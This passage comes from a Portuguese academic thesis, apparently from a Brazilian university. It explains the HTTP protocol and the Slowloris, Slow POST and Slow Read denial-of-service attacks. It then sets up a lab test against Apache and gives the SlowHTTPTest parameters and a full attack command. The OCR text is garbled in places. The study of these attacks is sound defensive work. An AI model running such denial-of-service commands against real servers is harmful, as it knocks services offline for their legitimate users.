porta 80 para o encaminhamento de pacotes. Esta € a porta padrdo, mas outras portas podem
ser utilizadas.

A maioria do servidores ja estd configurada para transferir o arquivo HTML que se chama
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Servidor Web
rodando Apache

Computador rodando Windows
usando Internet Explorer

Computador rodando Linux
usando browser Firefox

Figura 3.1: Transacdo HTTP (KUROSE; ROSS, 2010) (adaptado).

home page do web site, caso um cliente HTTP entre em contato com um servidor sem espe-

cificar o arquivo HTML que ele quer acessar.

3.0.2 Métodos
O conjunto padrao de métodos definidos para HTTP/1.1 € listado abaixo:

* OPTIONS: Representa um pedido de informagdo sobre as op¢des de comunicagao
disponiveis na relacdo pedido/resposta. Este método permite que o cliente determine

as opgoes e 0s requisitos associados a um recurso.

* GET: Por meio do protocolo HTTP, solicita uma representacdo do recurso especi-
ficado. Pedidos usando GET apenas recuperam os dados, nao tendo nenhum outro

efeito.

* HEAD: Solicita a resposta idéntica a que corresponderia a um pedido GET, mas sem
o corpo da resposta, sendo requerido apenas o retorno do cabecalho de determinado

elemento, sem ter que recuperar todo o contetdo.

* POST: Envia dados ao servidor para serem processados. Tais dados podem ser: um
formuldrio HTML, uma anotagao dos recursos existentes, um item para adicionar a um

banco de dados, entre outros.

e PUT: Envia dados ou atualiza certo recurso no servidor. Caso o recurso nao exista, ele

pode criar um.

* DELETE: Apaga o recurso especificado. Este método pode ser substituido por inter-

ven¢ao humana (ou outro meio) no servidor de origem.
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« TRACE: E 0 método usado para chamar um controle remoto. Ele permite que o cliente
veja o que estd sendo recebido na outra extremidade da cadeia de pedido e utilize esses

dados para o teste ou informacdes de diagndstico.

* CONNECT: Converte a requisi¢do de conexdo para um tinel, facilitando, assim, uma

comunicacao criptografada através de um proxy HTTP nao criptografado.

3.0.3 Extensoes de correio de Internet de multiplo propésito

Pouco tempo atrds, ndo era possivel realizar a transferéncia arquivos bindrios de forma
direta com o corpo de uma mensagem de e-mail. Foram desenvolvidos, entdo, esquemas
de codificacdo de dados em forma textual de maneira que, assim, os diferentes formatos
de mensagem pudessem ser enviados através de e-mail. Assim que a mensagem chega ao
destinatario, extrai-se o corpo e o conteido é convertido de volta a forma bindria. Com o
intuito de unificar os diferentes esquemas propostos para a codificacdo de dados bindrios, foi
criado, pelo IETF, o MIME - Multipurpose Internet Mail Extensions (COMER, 2008).

O MIME também € importante no protocolo HTTP. Apesar de os dados nas mensagens
ndo serem de e-mails, o HTTP requer que as informagdes sejam transmitidas no mesmo
contexto de mensagens de email. Isso pode ser visto na Figura 3.2, que retrata o envio de
informacdes ao servidor com o uso do método POST. A imagem foi obtida através do sniffer
de rede Wireshark.

vHypertext Transfer Protocol
»POST /upload-file HTTP/1.1\r\n
Host: www30.online-convert.com\r\n
Connection: keep-alive\r\n
»Content-Length: 928694\r\n
Origin: http://image.online-convert.com\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36\r\n
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6iHrS2nt6FkfsZVk\r\n
Accept: */*\r\n
Referer: http://image.online-convert.com/convert-to-eps\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Language: pt-BR,pt;g=0.8,en-US;q=0.6,en;q=0.4\r\n
\r\n
vMIME Multipart Media Encapsulation, Type: multipart/ferm-data, Boundary: "----WebKitFormBoundary6iHrS2nt6FkfsZvk"
[Type: multipart/form-data]
First boundary: ------ WebKitFormBoundary6iHrS2nt6FkfsZvk\rin
vEncapsulated multipart part:
Content-Disposition: form-data; name="resumableIdentifier"\r\n\r\n
vData (40 bytes)
Data: 3932373236392d53637265656e736861746672616d323031. .
[Length: 48]
Boundary: \r\n------ WebKitFormBoundary6iHrS2nt6FkfsZVk\rin
vEncapsulated multipart part:
Content-Disposition: form-data; name="resumableFilename"\r\n\r\n
vData (39 bytes)
Data: 53637265656e736861742066726f6d20323031352d36312d. ..
[Length: 39]
Boundary: \r\n------ WebKitFormBoundary6iHrS2nt6FkfsZVk\rin
vEncapsulated multipart part:
Content-Disposition: form-data; name="resumableRelativePath"\r\n\r\n
vData (39 bytes)
Data: 53637265656e736861742066726f6d20323031352d36312d. ..
[Length: 39]
Boundary: \r\n------ WebKitFormBoundary6iHrS2nt6FkfsZVk\rin

Figura 3.2: Uso de MIME em requisicao HTTP POST.
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3.0.4 Mensagem HTTP

Segundo (KUROSE; ROSS, 2010), existem 2 tipos de mensagem HTTP: de requisi¢ao e
de resposta. Em ambas, as linhas sdo escritas em texto ASCII comum, e cada linha € seguida
de ’carriage return’ e ’line feed’ (CRLF), indicando o fim de cada linha. Para denotar a

dltima linha (em branco) ha um comando adicional de CRLF.

Na mensagem de requisicdo, a primeira linha é chamada de linha de requisi¢do e possui
trés campos: método, URL e versdao do HTTP. As linhas que vém em seguida sdo as linhas
de cabecalho. Estas especificam a localizacdo do objeto, se a conexao serd persistente ou
nao (ver secdo 3.0.6), tipo do browser, e preferéncia de idioma, e o corpo da mensagem
dependerd do método escolhido. O formato da mensagem de requisi¢cdo pode ser visto na
Figura 3.3, e um exemplo capturado pelo sniffer de rede Wireshark de uma requisicdo GET
pode ser visto na Figura 3.4.

método [sp| URL [sp| versdo [cr|if| linhade
nome cabecalho | | valor |cr| If requisicao
L | linhas de
T 1 cabegalho
nome cabecalho ‘ | valor ‘ cr ‘ If
cr | If |
corpo J corpo

Figura 3.3: Formato de mensagem de requisicio HTTP (KUROSE; ROSS, 2010).

rHypertext Transfer Protocol
»GET / HTTP/1.1\r\n
Host: cert.br\r\n
Connection: keep-alive\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36\r\n
Accept-Encoding: gzip, deflate, sdch\r\n
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4\r\n
Ar\n

Figura 3.4: Requisi¢cdo GET observada pelo Wireshark.

A mensagem de resposta tem trés secdes: linha de estado, linhas de cabecalhos e, por
ultimo, o corpo da entidade, que contém os dados do objeto solicitado. A linha de estado
indica a vers@o do protocolo, cédigo de status (ver sec@o 3.0.5) e a respectiva mensagem do
status. As linhas de cabecalho denotam o tipo de conexdo, data e hora da resposta enviada
pelo servidor, qual servidor foi utilizado, data e hora da dltima modificagiao (campo essencial
para fazer cache do objeto), tamanho em bytes do objeto a ser enviado e, por fim, o tipo do
conteddo. O formato de mensagem de resposta HTTP pode ser visto na Figura 3.5, e uma
resposta real obtida pelo analisador de pacotes € mostrada na Figura 3.6, sendo que nela é

possivel observar o codigo de status 301 (redirecionamento).
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versao |Sp |cc')d estado|sp| frase | cr | If | Iin}twadde
nome cabecalho | ‘ valor |cr | If estace
L 1 linhas de
T T cabecalho
nome cabecalho | | valor | cr | If
cr | If |
L corpo J corpo

Figura 3.5: Formato de mensagem de resposta HTTP (KUROSE; ROSS, 2010).

vHypertext Transfer Protocol

»HTTP/1.1 301 Moved Permanently\r\n
Date: Sun, 26 Apr 2015 16:30:50 GMT\r\n
Server: Apache\r\n
Location: http://www.cert.br/\r\n
Keep-Alive: timeout=15, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html; charset=iso-8859-1\r\n
Ar\n
[HTTP response 1/1]
[Time since request: 0.83942700@ seconds]

Figura 3.6: Resposta de uma requisicdo GET observada pelo Wireshark.

3.0.5 Codigos de Status HTTP

Ao serem requisitados, os servidores HTTP retornam um cédigo de estado a quem fez a
solicitacdo. Esse cddigo informa se a requisi¢do foi ou ndo atendida, e se a tarefa solicitada
foi ou ndo executada. Ele fornece informagdes sobre o estado da solicitacdo e vai acompa-
nhado de uma frase de estado, a qual tem a finalidade de facilitar o entendimento por parte do
usudrio. Além de indicar se a tentativa foi bem-sucedida, esse cdigo pode apontar também a
razdo exata de um pedido ndo ter tido éxito. O fato de estarem localizados na primeira linha
de resposta (linha de estado) facilita aos desenvolvedores tratar diferentes tipos de eventos
sinalizados por meio desses codigos, analisando apenas o inicio da resposta. Alguns tipos de

erro podem ser rapidamente verificados com a ajuda de programas.

A forma como o agente receptor manipula a resposta depende, primeiramente, do c6digo

e, secundariamente, dos outros campos do cabecgalho de resposta.

Ficou padronizado que esses cddigos seriam formados por 3 digitos, sendo que o pri-
meiro deles indica uma das cinco classes de resposta a qual o cédigo pertence. Assim, se o
receptor encontrar um c6digo que ndo reconhece, pode usar o primeiro digito do cédigo para

determinar a classe geral da resposta.
Sao eles:
1xx - Informativo

Estes codigos de estado indicam uma resposta proviséria. Retornam ao solicitante que a
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instrucao foi recebida e, em seguida, aguardam uma nova instru¢do para completar a acao.

* 100 - Continuar: indica que o servidor recebeu o cabecalho do pedido e que, agora, o
cliente tem que realizar o envio do corpo da solicitacao.

* 101 - Trocar protocolos: significa que o cliente pediu para o servidor alterar os proto-
colos e o servidor estd reconhecendo que isso sera feito.

2xx - Bem-sucedido

Classe de codigos que indica que o servidor recebeu a solicitagdo do cliente, aceitou e

pode ter chegado a processa-la com éxito.

200 - OK: o cliente obteve éxito no pedido.

201 - Criado: houve cumprimento do pedido, o que resultou na criagdo de um novo

recurso.

202 - Aceito: a requisi¢do foi aceita para processamento.

204 - Nenhum contetdo: a solicitacdo foi processada pelo servidor, no entanto, ndo

estd retornando nenhum contetido.

3xx - Redirecionamento

Esta classe € responsdvel pelos cédigos que indicam redirecionamento. Aponta que uma
outra acdo deve ser executada para completar o pedido, fazendo com que sejam tomadas
medidas adicionais por parte do cliente.

* 300 - Multipla escolha: o servidor pode escolher uma acdo com base no solicitante ou
pode apresentar uma lista para que o solicitante escolha uma acao.

* 301 - Movido: todas as solicitagdes a partir dessa devem ser direcionadas para a URI.

* 304 - Nao modificado: aponta que o recurso ndo foi modificado desde a dltima solici-

tacao.

4xx - Erro de cliente

Sao codigos que indicam que um erro ocorreu, possivelmente devido a problemas ine-

rentes a solicitacdo realizada.

* 400 - Solicitacdo invalida: devido a um erro no pedido o servidor ndo entendeu a

requisi¢ao.
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* 401 - Nao autorizado: o acesso foi negado e, para consegui-lo, o usudrio é convidado

a autenticar-se.
* 403 - Proibido: o servidor recusa a solicitagdo pois hd uma restri¢ao ao recurso.

* 404 - Nao encontrado: indica que o endereco solicitado ndo foi encontrado.

5xx - Erro de servidor

Houve um erro no servidor ao processar uma solicitacdo e este ndo consegue concluir a

requisi¢ao.

* 500 - Erro interno do servidor: devido a um problema interno, o servidor nio pode

processar a solicitacao.

* 501 - Nao implementado: a solicitacao especifica uma configura¢do que ainda nao foi

implementada.

* 502 - Bad Gateway: o servidor recebeu uma resposta invdlida enquanto operava como

gateway ou proxy.

* 503 - Servigo indisponivel: no momento, o servidor encontra-se indisponivel.

3.0.6 Conexoes persistentes e nao persistentes

Ao estabelecer uma conexao, o TCP realiza o trabalho de levar a mensagem HTTP desde
a interface socket do cliente até a interface socket do servidor. Na versao 1.0 do HTTP, essa
conexao € estabelecida de forma ndo persistente, tendo em vista o fato de, ao final de cada
entrega, a mesma ser desfeita. Ja na versdo 1.1 do HTTP, como a conexdo se mantém aberta

ao final de cada entrega, diz-se que se trata de conexdo persistente.

As vantagens da utilizacdo de uma conxao persistente justificam sua padronizagdo a partir
do HTTP 1.1. Sao elas:

* Apenas a abertura de uma conexao TCP se faz necessaria para o transito de diversos

objetos entre cliente e servidor.

* O fato de serem requeridos menos pacotes de abertura de conexao torna a rede menos

congestionada.

* Trocas desnecessdrias de pacotes entre cliente e servidor sdo evitadas ao nao serem

abertas novas conexoes.

* Reduz-se o periodo de espera para novas requisi¢des.
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Enquanto na conexdo nao persistente sdo necessarios 2 RTT (Round-Trip Time) para cada
objeto, a conexao persistente exige apenas 1 RTT. Uma comparagdo do uso de pipelining é
mostrada na Figura 3.7

Data -4 Data 1-6
Data 1
Ack 1
Ack1/Da@?
Ack1/DaE s
Bck2/Data g
Dat 2 Ack2/Dak 6
Bk 3/Da@g
Ack3/DaE 17
Bck L JData 10
Ackd/Dal g
AckSiDa@ N
Ack 2
Bck & /Data 12
Ack5/DaE 9 Bck7/Dam 13
mata 3 Ack & /Dat 10 Bck B J/Dat 1l
Ack7/DaE 11 Bk o iDam 15
Ack3/Dal 12 Ack 10 /Data 16
Ack3
WinSize =1 WinSize =4 WinSize =6

Figura 3.7: Conexdes com pipelining (DORDAL, 2002).

Conexoes persistentes permitem a implementagdo de uma técnica conhecida como Pi-
pelining. Nesse método, o cliente realiza o envio de solicitagdes sem precisar aguardar a
resposta para cada uma delas. Ou seja, podem ser enviadas todas as requisicdes de uma s6
vez ao servidor, sendo que este envia, posteriormente, todas as resposta. No entanto, a utili-
zacdo dessa técnica apresenta algumas desvantagens, entre elas o envio de respostas fora de
ordem, necessidade de utiliza¢do de mais de 1 RTT para todos os objetos e risco de o cliente
ndo encerrar a conexao apds o recebimento de toda a informagao necessdria, e, com isso, ndo
liberar aquela conexdo para outros clientes.

3.0.7 Sockets

A maioria das aplicagdes consiste em comunicagdo de processos, como a interagao
cliente-servidor. Esses processos necessitam trafegar através de uma interface de software
denominada socket ou API (Application Programming Interface). Quando, por exemplo, um
cliente quer enviar uma mensagem ao servidor, o processo envia-a pelo socket, admitindo
que haja do outro lado infraestrutura para o transporte até o socket do processo destinatario
(servidor). Apds chegar com sucesso ao processo de destino, hd a execu¢do de uma agao
sobre a mensagem.
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Figura 3.8: Processos comunicando-se através de sockets (KUROSE; ROSS, 2010)(adap-
tado).

Como mostra a Figura 3.8, o socket € a interface de programacao por qual as aplicacdes
de rede sdo inseridas na Internet (KUROSE; ROSS, 2010). No caso de usar o TCP, o cliente
cria seu socket , especifica o endereco IP do processo servidor e o respectivo nimero de
porta. Apds isso o cliente inicia o three-way-handshake e, finalmente, estabelece a conexdo
com o servidor - s6 entdo ocorre o trafego de dados. Ja que o protocolo de transporte €
o TCP, haverd garantia de entrega de cada byte e estes serdo recebidos na ordem em que
foram enviados. A conexdo permanecera ativa até que um dos dois processos em execucao
a encerre. Por outro lado, em uma programacgdo de aplicacio com UDP, cada conjunto de
bytes enviado a outro processo necessita ser endere¢ado para o destinatdrio. Isso porque o
UDP nao € um protocolo orientado a conexao, e assim ndo € formado um tunelamento direto
entre sockets, como no TCP, acarretando na ndo garantia da entrega dos dados, pois pode

haver perda ou outros problemas com os pacotes durante o percurso.

3.0.8 Servidor Web

Servidores Web tem a fun¢ao de aceitar requisicdes HTTP de méquinas cliente (nave-
gadores ou browsers) e fornecer respostas HTTP que podem incluir dados (paginas HTML,
imagens, etc.). Além disso, também inclui métodos para receber dados a partir da maquina
cliente como, por exemplo, formulérios para preenchimento e envio de dados (uploading).
O mais comum servidor Web é o Apache, desenvolvido pela Apache Foundation. E um
software open source e roda na maioria das plataformas operacionais, dentre elas: Windows,
Linux, Unix e Mac. Ha também o servidor criado pela Microsoft chamado IIS (Internet In-
formation Services). Este € tido como o segundo servidor mais utilizado para comunicacao
entre cliente e servidor.
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3.0.9 A Evolucao do Protocolo

A criacdo de uma forma padronizada de comunicacao entre clientes e servidores na Web,
que pudesse ser compreendida por todos os equipamentos ligados a rede, inspirou o surgi-
mento do HTTP.

A primeira versdo do HTTP foi langada no inicio da década de 90. Intitulado HTTP/0.9,
tratava-se de um simples protocolo para a transferéncia de dados pela Internet. Em seguida
veio o HTTP/1.0, no qual foram adicionadas algumas das caracteristicas em uso até hoje,
como o conceito de mensagem, métodos, entre outros. No entanto, o HTTP / 1.0 ndo foi
suficiente para levar em consideragdo os efeitos de proxies hierdrquicos, necessidade de co-
nexoes persistentes, ou hosts virtuais. Assim, em 1999, foram definidos alguns comporta-
mentos novos e eliminados outros, estabelecendo-se a versdo HTTP/1.1, da qual fazem parte

0s requisitos mais rigorosos da versdo anterior.

No HTTP/1.0, a maioria das implementacdes utilizava uma nova conexao para cada troca
de pedido/resposta. J4 no HTTP/1.1, a utilizagdo de um link € suficiente para uma ou mais
trocas de pedido/resposta. Tem por objetivo suportar a grande diversidade de configuragdes
desenvolvidas.

Ja estd em fase de finalizacdo a nova versdao do protocolo HTTP, que tem por nome:
HTTP/2. A revisdo € feita por uma equipe da IETF, que € a organizacdo mantenedora do
protocolo, e conta com auxilio de engenheiros envolvidos em grandes projetos como Firefox,
Chrome, Microsoft HTTP Stack, Akamai e outros. O protocolo nao foi redesenhado do
comecgo, tanto que codigos, semantica e métodos sdo os mesmos. O objetivo € que se possa
usar as mesmas API‘s do HTTP/1.x com algumas pequenas alteracdes. O foco principal da
nova versao € aumento de desempenho, especialmente na percep¢ao de laténcia do usudrio e
uso de recursos de rede e servidores. E o maior objetivo dos projetistas € permitir o uso de

apenas uma conexao entre o browser e a pagina Web.

Segundo (IETF, 2014), as maiores diferencas entre HTTP/1.x e HTTP/2 sido:

* E bindrio ao invés de ser textual. Protocolos bindrios sao mais eficientes para analisar,
mais compactos no percurso € possuem muito menos capacidade de dar erro compa-
rados a versdes 1.x, isso porque existem muitos recursos para manipulacao de espacos

em branco, capitalizacdo, finais de linha e etc.

« E totalmente multiplexado. Na versdo 1.x havia o problema “head-of-line-blocking*
(apenas uma requisicdo pode ser processada por vez). O uso de pipelining na versao
1.1 foi insuficiente para resolver o problema, ja que um nimero alto de respostas lentas
ainda poderiam bloquear outras requisi¢des. Por outro lado, a multiplexa¢do permite
vdrias requisi¢cOes e respostas de uma s6 vez, sendo possivel até misturar parte de uma

mensagem em outra no percurso.

* E capaz de usar apenas uma conexao TCP. Da forma antiga, o browser poderia abrir
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de quatro a oito conexdes por origem. Como muitas pdginas tém multiplas origens,
isso por vezes gera mais de trinta conexdes, exigindo muito dos servidores e podendo

causar excesso de fluxo e, consequentemente, interrupgdes.

» Usa compressao de cabecalho. Atualmente € comum um cabecalho ter 1400 bytes e,
com isso, ser necessario pelo menos sete a oito viagens de ida e volta (round-trips).
Isso se deve ao inicio lento inerente ao TCP, que passa os pacotes em novas conexoes
de acordo com o numero de pacotes que receberam ACK, limitando assim o nimero
de pacotes que poderiam ser enviados nas primeiras transmissdoes. Com uso de com-
pressao, serd possivel que essas requisicoes sejam enviadas nas primeiras viagens de

ida e volta.

» Usa Server Push. Quando um browser requisita uma pagina, o servidor envia o HTML
como resposta e depois fica esperando o cliente analisa-lo para que, em seguida, sejam
passadas as informagdes pedidas, como imagens, CSS! e JavaScript. O Server Push
permite que o servidor ndo fique esperando esse atraso e logo vai enviando respostas

que julgue necessdrias a partir de seu cache.

3.1 VULNERABILIDADES DO HTTP

Para um atacante € propicio investir contra a tecnologia HTTP porque geralmente suas
vias ndo estdo bloqueadas por firewalls nas empresas (RAGHAVAN; DAWSON, 2011). Isso
permite acesso facil as aplicacdes de servigcos Web por clientes remotos, mas também signi-

fica que um canal aberto fica disponivel para conectar o mundo aos servidores em questao.

3.2 SLOW DOS

Um ataque a camada de aplicac@o que vem se tornando mais proeminente é o Slow HTTP
Denial of Service. Geralmente supde-se que o ataque de negacao de servigo é um ataque vo-
lumétrico que ocorre rapidamente, ndo devagar, como € a proposta desse ataque. Os ataques
costumam requerer um elevado nimero de mdquinas e melhor se estiverem geograficamente
distribuidos. No entanto, ataques Slow consomem pouco recurso e banda por parte do ata-
cante e, mesmo assim, sao capazes de derrubar um servidor Web.

Bons exemplos de ferramentas que executam esse tipo de ataque sao Slowloris e Slow
HTTP POST, ao tirar proveito do protocolo HTTP, que exige que requisi¢Oes sejam com-
pletamente recebidas pelo servidor antes que possam ser processadas. Caso a requisi¢ao

HTTP nido se complete ou a taxa de transferéncia permaneca baixa, o servidor mantém seus

ILiguagem de folhas de estilo, muito utilizada em apresentacio de textos
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recursos ocupados, esperando o restante da informagdo. Se assim permanecer, ¢ um caso
de negacdo de servico. A proposta dessas ferramentas é enviar requisi¢des parciais para um

servidor, mantendo as conexdes abertas e ocupadas, e, dessa forma, esgotar seus recursos.

Existem trés tipo de ataques Slow DoS, descritos a seguir.

3.2.1 Slow HTTP Headers (Slowloris)

Os criadores desta ferramenta defendem que a situacio ideal de um ataque seja tal que
os servicos mantenham-se intactos, mas que tornem o servidor completamente inacessivel
(HANSEN, 2009). O que ocorre neste ataque é que um oponente envia um cabecalho HTTP
parcial com uma taxa muito baixa. E continua enviando novas partes do cabecalho para que

os sockets permanecam ativos, ou seja, mantendo os recursos do servidor ocupados.

O ataque usa requisi¢cdes GET HTTP para ocupar todas as conexdes HTTP disponiveis
num servidor Web. Para isso, tira-se vantagem do comportamento padrdo de servidores
Web, os quais aguardam o cabecalho completo para, entdo, liberar a conexdo. O servidor
Apache, por exemplo, possui um timeout (tempo de espera) de 300 segundos por padrio, e é
automaticamente reiniciado assim que o cliente envia mais uma por¢ao incompleta de dados.
Utilizando-se disso, o atacante pode abrir vdrias conexdes em um servidor, iniciando uma
requisicdo HTTP sem a intenc¢do de encerrd-la. Mantendo a requisicdo aberta e enviando
novas requisi¢des desse tipo, em pouco tempo o servidor se esgota e passa a nao atender
mais a requisi¢oes legitimas (MUSCAT, 2013).

Segundo (FIELDING; RESCHKE, 2014), o término de um cabecalho € sinalizado como
uma linha em branco, ou seja, dois conjuntos de caracteres CRLF consecutivos. Sabendo
disso, o atacante ndo tem a inten¢do de enviar uma linha em branco para completar o cabe-
calho HTTP. A Figura 3.9 mostra como o ataque € executado.

GET / HTTP/1.1\r\n
Host: vulnerable-server.com:80\r\n
X-sadwqeq: dfgdt3irin

59 seconds later

Client X-drete: fdsgvry\rin / Server
59 seconds later
r\\'\.
X-4rete: fdsgvry\rin ::)
_—
59 seconds later
r\\‘\-.
X-egyr7j: 8ih\rn >

Figura 3.9: Funcionamento do ataque Slowloris (SHEKYAN, 2012b).

27



3.2.2 Slow HTTP POST

Este ataque assemalha-se muito ao Slow HTTP Headers, ja que em ambos hd a inteng¢do
de enviar componentes de uma requisi¢io HTTP a taxas muito baixas. Neste caso particular,
o método utilizado € o POST. Como ja abordado anteriormente, quando um cliente usa o

método POST, h4 envio de informagdes em formulérios, geralmente.

Assim, o atacante envia o cabecalho de forma completa, porém dessa vez envia as infor-
macodes de forma fracionada, usando taxas baixas, fazendo com que o servidor fique aguar-
dando o restante da informacdo e, consequentemente, mantenha-se ocupado até que seus

recursos se esgotem.

Na requisicao POST ha o campo Content-Length (tamanho do conteudo), que o atacante
pode definir como 1000 bytes, por exemplo. Apds enviar completamente o cabecalho, ele
pode decidir enviar 1 byte a cada intervalo de tempo que ndo exceda o timeout. Servidores
Web irdo respeitar o campo "Content-Length"e esperar que toda a mensagem seja enviada.
Qualquer pagina que use 0 HTTP POST como acesso restrito de usuarios com nome e senha,
upload de videos, anexos em e-mails, formuldrios de pesquisa e etc, estdo suscetiveis a esse

ataque (OWASP, 2010). Na Figura 3.10 € possivel observar o funcionamento do ataque.

POST / HTTP/1.1\\n

Host: vulnerable-server.com:80irin

Content-Length: 4096\r\n

Content-Type: application/x-www-form-urlencodedirin
\n\n

\ 4

59 seconds later

Client ™~ Server
foo=bar\rin

59 seconds later

&0Owkuvj5=POaLLl\r\n

59 seconds later

&uWatOwGqrP4SxV=SN3q\r\n

A%
\ ,-'7
A /
\\ /
\/ /

Figura 3.10: Como o ataque Slow POST funciona (SHEKYAN, 2012b).

3.2.3 Slow Read Attack

Ao contrério de Slowloris e Slow POST, o ataque Slow Read ndo se atem a mensagem
de requisi¢do, mas a resposta do servidor. Neste caso, o atacante envia completamente a
requisicdo HTTP, porém ird ler a resposta de forma lenta, buscando manter ativas a maior
quantidade de conexdes.

Para tornar efetivo o ataque, o cliente informa ao servidor durante o three-way-handshake

(utilizando-se o protocolo TCP) que sua janela de recebimento (buffer) € de tamanho redu-
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zido. Assim, o envio da resposta terd que ser fracionado e, com uso de pipelining, o ataque
serd amplificado (SHEKYAN, 2012a). A Figura 3.11 elucida o ataque Slow Read.

Client

Server
GET bigpage.html HTTP/1.1\r\n
Host: vulnerable-server.com:80\rinirin

BTW, my recv window is only 32 bytes

P
HTTP/1.1 200 OK\r\n
Content-Length: 131072\r\n — E
Content-type: text/html\r\in\rin message =
Kernel to app: | can send only 32 bytes now %
>
o
‘ Got it, wait for now (ACK window 0) >
3 < Are you ready to receive more bytes? 06 ° i}
g SE—

OK, give me another 32 bytes >

Figura 3.11: Funcionamento do ataque Slow Read (SHEKYAN, 2012b).
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4 AMBIENTE EXPERIMENTAL E TESTES REALIZADOS

O laboratério para a realizacdo dos testes foi constituido de dois computadores: um
rodando Windows 7 Professional 64 bits (vitima) e outro com sistema operacional Ubuntu

14.04 64 bits (atacante). A topologia do ambiente experimental pode ser vista na Figura 4.1.

Roteador Wireless TP-LINK
-y TL-WR541G 54M

I
S&' I

l- L) | -'
Atacante
Ubuntu 64 bits 4 GB RAM I
SlowHTTPTest e Goldeneye |
Vitima —~
Windows 7 64 bits 6 GB RAM
Apache 2.4

Figura 4.1: Topologia montada para simular os ataques.

O servidor Web escolhido para ser alvo dos ataques foi o Apache 2.4, agregado ao
XAMPP (solucdo livre que combina servidor Apache, banco de dados MySQL com inter-
pretadores de PHP e Perl). A justificativa para sua escolha é o fato de ser esse o servidor
Web mais popular do mundo (NETCRAFT, 2015).

Foi construida uma pagina HTML com o objetivo de se aproximar de um website real.
Foi usado um template gratuito disponibilizado na Internet, com imagens de alta resolu¢do
e textos com estilo CSS. Essa pagina foi desenvolvida com o intuito de verificar o estado do
servidor, como pode ser visto na Figura 4.2. Além disso, é importante denotar que a maquina
que executa o servidor Web esta com o IP 192.168.1.102, enquanto o atacante esta com o IP
192.168.1.103.

A ferramenta utilizada para atacar o servidore Web Apache foi o SlowHTTPTest (a partir
do computador rodando Ubuntu 14.04), e serd descrita adiante com mais detalhes.

30



Pdgina de Teste Slow“lDoS

UNIVERSIDADE DE BRASILIA | BRASILIA DF

Teste Slow DoS$

POR ALEJANDRO BARRIOS

FACA O TESTE COM SEUS PARAMETROS

Figura 4.2: P4gina-alvo de ataques Slow Read.

4.1 EXPERIMENTOS COM SLOWHTTPTEST

4.1.1 A ferramenta SlowHTTPTest

Foi criada por Sergey Shekyan (SHEKYAN, 2012a) enquanto trabalhava para Qualys,
empresa de seguranca de redes. O SlowHTTPTest é configuravel, ou seja, permite ao usudrio
escolher modos e alterar pardmetros de acordo com sua necessidade. E capaz de simular os
ataques mais comuns de negacdo de servico a camada 7 como Slowloris, Slow HTTP POST
e Slow HTTP Read, fornecendo ao final de cada teste um relatério para andlise. Funciona
em plataformas Linux, Mac e, no caso de ser Windows, necessita da ferramenta Cygwin, que
proporciona um ambiente Linux naquela plataforma. O objetivo principal € fornecer meios
para gestores de TI possam testar seus ambientes contra esses tipos de ataques.

Os principais parametros de execug¢ao do SlowHTTPTest estdo descritos na Tabela 4.1 e
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a aparéncia da ferramenta ao ser executada na mdquina Linux € mostrada na Figura 4.3.

Tabela 4.1: Parametros configurdveis ao executar a ferramenta SlowHTTPTest (SHEKYAN,
2015)

Parametro Significado
-C Nuimero de conexdes (limitado a 65539)
-H Modo Slowloris
-X Modo Slow Read
-B Modo Slow POST
-g Gera estatisticas em HTML apds o ataque
-0 Nome do arquivo de estatisticas
-1 Intervalo entre dados na conexao
-k Numero de vezes a repetir a requisicdo em modo pipelining
-1 Duracdo do teste em segundos
-p Configuracao de timeout
-1 Taxa de conexao
-w Ponto inicial da janela a ser usada
-y Ponto final da janela a ser usada
-X Tamanho maximo do dado
-Z Bytes a serem lidos pelo buffer
-u URL do servidor-alvo

slowhttptest version 1.6
- https:[/code.google.com/fp/slowhttptest/ -
SLOW HEADERS

Tue Apr 14 15:34:36 2015:
slow HTTP test status on Oth second:

initializing:
pending:
connected:

error:

closed:

service available:

)
1
e
)
8
¥

Figura 4.3: Tela inicial do SlowHTTPTest.
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4.1.2 Experimento 1: Ataque a um servidor Apache usando a ferramenta SlowHTTP-
Test em modo Slowloris

O primeiro experimento baseia-se no uso da ferramenta SlowHTTPTest em modo Slo-
wloris com 1000 conexdes simultaneas e duragao de 600 segundos. A Figura 4.4 mostra o
status do servidor Apache no inicio de seu servi¢o ainda sem nenhuma ameaca. O comando

para o ataque € mostrado no Quadro 4.1.

Apache Server Status for localhost (via ::1)

Server Version: Apache2.4.10 (Win32) OpenSSL/1.0.11 PHP/5.6.3
Server MPM: WinNT
Apache Lounge VC11 Server Built: Tul 17 2014 11:50:08

Current Time: Wednesday, 22-Apr-2015 12:37:41 E. South America Standard Time
Restart Time: Wednesday. 22-Apr-2015 12:57:01 E. South America Standard Time
Parent Server Config. Generation: 1

Parent Server MPM Generation® 0

Server uptime: 39 seconds

Server load: -1.00 -1.00 -1.00

Total accesses: 18 - Total Traffic: 83 kB

462 requests/sec - 2179 B/second - 4721 Blrequest

3 requests currently being processed. 147 idle workers

K KW

Scoreboard Key:

"_" Waiting for Connection. "s" Starting up. "R" Reading Request
"W" Sending Reply, "K" Keepalive (read), "p" DNS Lookup.

"C" Closing connection. "L" Logging. "6" Gracefully finishing.

"1" Idle cleanup of worker. "." Open slot with no current process

SrvPID Acc MSSReqConn Child Slot Client  VHost Request
0-0 35042/7/7K 4 11 1.1 0.03 0.03:1  localhost:80 GET /teste/amayva.css HTTR/1.1
0-035040/22_9 0 00 000 0001 localhost:80NULL
0-03504022_9 2 00 001 0011 localhost:8O0NULL
1
1

0-03504 155K 4 4 202 003 0032 localhost:80 GET /teste/photo jpg HTTP/1.1
0-0 35040/22W0 0 0.0 001 001z localhost:80 GET /server-statusrefresh=1 HTTP/1.1

Figura 4.4: Status inicial do servidor Apache.

slowhttptest —c 1000 -H —g —o result —i 10 —r 200 —t GET —u
http://192.168.1.102 —1 600 —x 24 —p 3

Quadro 4.1: Comando de ataque SlowHTTPTest no modo Slowloris

A janela de execucdo da ferramenta mostra, a cada cinco segundos, a quantidade de
